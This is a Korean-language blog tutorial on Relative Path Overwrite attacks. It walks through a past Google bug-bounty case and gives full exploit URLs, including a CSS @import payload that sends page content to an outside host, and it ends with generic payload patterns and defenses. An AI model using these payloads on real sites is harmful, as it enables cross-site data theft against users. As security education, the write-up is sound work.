개요
Relative Path Overwrite (RPO) 는 브라우저와 서버가 상대경로를 해석하는 과정에서의 동작 차이를 악용한 최신 공격기법이다.
이 기법을 이해하기에 앞서 URL의 상대경로와 절대경로의 차이에 대해 알아보자.
절대경로는 프로토콜과 도메인 이름을 포함한 목적지 주소의 전체 URL을 의미한다.
반면에 상대경로는 목적지의 프로토콜이나 도메인을 특정하지 않는다.
절대경로
https://rubiya.kr/static/
상대경로
static/somedirectory
여기서 상대경로의 2가지 사용법이 존재한다.
첫 번째로 우리는 현재 경로에서 “xyz”라는 디렉토리를 찾을 수 있다.
두 번째로 directory traversal 기술을 통해 “../xyz” 와 같이 탐색할 수 있다.
이것들이 HTML상에서 어떻게 작동하는지 일반적인 css파일을 호출하면서 알아보자.
<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>
예시의 link 태그는 상대경로를 사용해 “style.css” 파일을 참조한다.
이는 사이트 디렉토리 구조 상에서 유저가 어디에 있는지를 기반으로 한다.
예를들어 유저가 “xyz”라는 디렉토리 내에서 css파일을 호출한다면 “xyz/style.css” 파일이 호출될것이다.
여기서 흥미로운점은 브라우저는 서버의 파일시스템에 접근할 수 없는데, 어떻게 주어진 경로가 정상적인 경로인지를 구분하는가이다.
정답은 구분할 수 없다.
파일시스템 외부에서 디렉토리 구조가 정상적인지 알 수 있는 방법은 없으며,
우리는 오직 경험에 의한 추측과 응답하는 http 상태 코드를 통해 파일의 존재 유무를 알 수 있을 뿐이다.
여기서 RPO의 개념이 시작된다.
브라우저와 서버가 URL 경로를 해석하는데에 있어 발생하는 차이를 속이는것이다.
예를들어 dot (.), slash (/), backslash (\), question mark (?), semi-colon (;) 혹은 이것들이 URL 인코딩되면 URL에서 특수한 의미를 갖는다.
서버와 브라우저는 이를 서로 다르게 해석할 수 있다.
이 해석의 차이를 악용하는것이 RPO의 개념이다.
Self-referencing
<link href=”style.css” rel=”stylesheet” type=”text/css” />
위와 같은 코드가 존재하는 /somepage.php 파일을 호출한다고 가정해보자.
link 태그를 통해 /style.css 파일이 호출될것이다.
그러면 이번에는 url rewrite를 악용해 /somepage.php/path/ 파일을 호출해보자.
실제로 서버에서 호출되는 파일은 /somepage.php 이지만 브라우저는 /somepage.php/path/ 를 디렉토리로 인식하게 된다.
따라서 link태그를 통해 호출되는 css파일의 경로는 /somepage.php/path/style.css 가 된다.
반면 서버에서 응답하는 파일의 내용은 /somepage.php 가 될 것이다.
즉 somepage.php의 HTML코드를 CSS로 import하게 된다.
CSS는 문법에 맞지 않는 코드는 무시하고 문법에 맞는 코드가 나올때까지 계속 다음줄로 넘어간다는 특성을 생각해보면 의미심장하지 않은가? 🙂
실습
Google에서 RPO 기법을 통해 Bug Bounty를 성공한 사례를 따라가며 RPO의 실제 사용예시를 다루어보자.
먼저 상대 경로로 css파일을 불러오는 문서를 찾는다.
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
<html>
<head>
<title>Google Toolbar API – Guide to Making Custom Buttons</title>
<link href=”../../styles.css” rel=”stylesheet” type=”text/css” />
[..]
다음으로 타겟 서버가 경로를 어떻게 해석하는지를 분석해야 한다.
브라우저에서 디렉토리는 slash(/) 로 구분된다.
그러나 서버에서는 디렉토리를 구분하는데에 slash(/) 외에도 다른 문자가 사용될 수 있다.
예를들어 JSP에서는 semi-colon(;) 뒤에 오는 모든 문자를 파라미터로 처리한다.
e.x) http://example.com/path;/notpath
하지만 브라우저는 이런 패턴을 인식할 수 없기에 예시에서 path; 와 notpath를 각각 경로로 처리한다.
비슷하게 우리가 찾은 구글 툴바 서비스에는 경로를 해석하는 자체적인 방법이 존재했다.
서버 앞단의 프록시에서 Request가 실제 서버에 넘어가기 전에 경로를 decode해주는 역할을 하는것으로 추측된다.
이 덕분에 경로에 %2f를 입력했을때 slash로 치환되어 처리되었다.
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
서버측 관점 : /tools/toolbar/buttons/apis/howto_guide.html
브라우저측 관점 : /tools/toolbar/buttons/apis%2fhowto_guide.html
호출되는 CSS 파일 : /tools/toolbar/buttons/../../style.css
(Bold체는 실제 경로를 의미한다)
이제 경로가 /tools/toolbar/buttons/apis/ 대신 /tools/toolbar/buttons/ 를 가리키게 되었다.
더 많은것이 가능하지 않을까?
물론이다. 우리는 디렉토리를 속일 수 있다.
http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
서버측 관점 : /tools/fake/../toolbar/buttons/apis/howto_guide.html
브라우저측 관점 : /tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
호출되는 CSS 파일 : /tools/fake/..%2ftoolbar/buttons/../../style.css
(Bold체는 실제 경로를 의미한다)
자, 이제 /tools/fake/styles.css 를 import 하게 되었다.
이렇게 해서 우리는 http://www.google.com/ 에 존재하는 모든 style.css 파일을 호출할 수 있게 되었다.
그 후 추가적인 탐색을 하다가
http://www.google.com/tools/toolbar/buttons/gallery 페이지가
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 로 리다이렉트되는것을 발견했다.
리다이렉트에는 쿼리스트링이 포함된다.
즉
http://www.google.com/tools/toolbar/buttons/gallery?foo=bar 에 접속하면
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar 로 리다이렉트된다.
또한 리다이렉트된 /gadgets/directory 페이지는 q 파라미터로 받아온 값을 response에 포함시킨다.
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}
만약 이 페이지를 CSS파일로 호출하면 위의 html 코드가 모두 무시되다가
83라인의 {}*{background:red} 를 만나 스타일시트가 실행 될 것이다.
이제 퍼즐의 모든 조각이 모였다. 최종 페이로드는 다음과 같다.
http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F/apis/howto_guide.html
서버측 관점 : /tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/..//apis/howto_guide.html
브라우저측 관점 : /tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
호출되는 css 파일 : /tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/../../style.css
⇓
/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
⇓
/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
Internet Explorer 8 이하에서 expression(alert(document.domain)) 와 같은 페이로드를 통해 CSS에서 JavaScript 코드를 실행하는게 가능하다.
하지만 Google Vulnerability Reward Program 에서는 IE9보다 낮은 버전의 브라우저는 바운티 대상에서 제외한다고 명시되어있다.
In particular, we exclude Internet Explorer prior to version 9
지금 우리는 위에서 찾은 취약점을 통해 https://www.google.com/ 상에 존재하는 모든 페이지를 CSS로 가져올 수 있다.
그렇다면 이제 무엇을 할 수 있을까?
다른 페이지에서의 민감 정보 유출을 시도해 볼 수 있다.
민감 정보 유출을 위해서는 인젝션 포인트가 민감 정보보다 앞에 있어야하며 %0a, %0c, %0d등 줄바꿈 문자를 허용해야한다.
구글 검색 페이지가 이런 조건을 만족했다.
http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?
@import”//innerht.ml? 를 통해 쌍따음표가 끝날때까지의(드래그 된 문자열) 문서의 내용을 공격자가 가로챌 수 있다.
최종 페이로드는 다음과 같다.
http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D%40import%27%2Fsearch%3F
nord%3D1%26q%3D%7B%7D%250a%40import%2527%2F%2Finnerht.ml%3F%22/..%2F/apis/howto_guide.html
예시
다음은 경로 해석 과정을 혼동시키는 몇가지 예시이다.
/page.asp
/page.asp/PAYLOAD//
/page.asp/PAYLOAD/style.css
Path Parameter(Simple)
/page.php/param1/param2
/page.php/PAYLOADparam1/PAYLOADparam2//
/page.php/PAYLOADparam1/PAYLOADparam2/style.css
Path Parameter(PHP or ASP)
/page.jsp;param1;param2
/page.jsp;PAYLOADparam1;PAYLOADparam2//
/page.jsp;PAYLOADparam1;PAYLOADparam2/style.css
Path Parameter(JSP)
/dir/page.aspx
/PAYLOAD/..%2Fdir/PAYLOAD/..%2Fpage.aspx//
/PAYLOAD/..%2Fdir/PAYLOAD/..%2Fpage.aspx/style.css
Encoded Path
/page.html?k1=v1&k2=v2
/page.html%3Fk1=PAYLOADv1&k2=PAYLOADv2//
/page.html%3Fk1=PAYLOADv1&k2=PAYLOADv2/style.css
Encoded Query
방어방법
모든 리소스를 절대경로로만 호출하거나, 상대경로의 기준이 되는 절대경로를 지정하는 역할을 하는 Base태그를 사용해 경로 해석의 모호성을 없앨 수 있다.
또한 사용자가 입력한 모든 특수문자는 HTML Entity로 치환한다.
그리고 X-Content-Type-Options HTTP 헤더를 선언해 서버가 전송한 MIME 타입만 사용하게 하거나,
X-Frame-Options 헤더를 선언해 프레임 내에서 페이지를 다시 로드할 수 없게 하는등의 방법이 있다.
Reference
https://seclab.ccs.neu.edu/static/publications/www2018rpo.pdf
https://www.mbsd.jp/Whitepaper/rpo.pdf
https://blog.innerht.ml/rpo-gadgets/
2 Comments
학교
선생님 제가 다니는 학교 사이트의 취약점을 찾앗는데
kisa에 제보하는게 좋을까요? 아님 학교에 직접
학교자체에서 버그 바운티는 안하는거 같은데
kisa에 제보하면 돈좀 받을수잇을까요?
rubiya
KISA에서는 네이버를 제외한 웹사이트에 대한 버그바운티를 하지 않고 있습니다. 전산담당자분께 메일드리시는걸 추천합니다.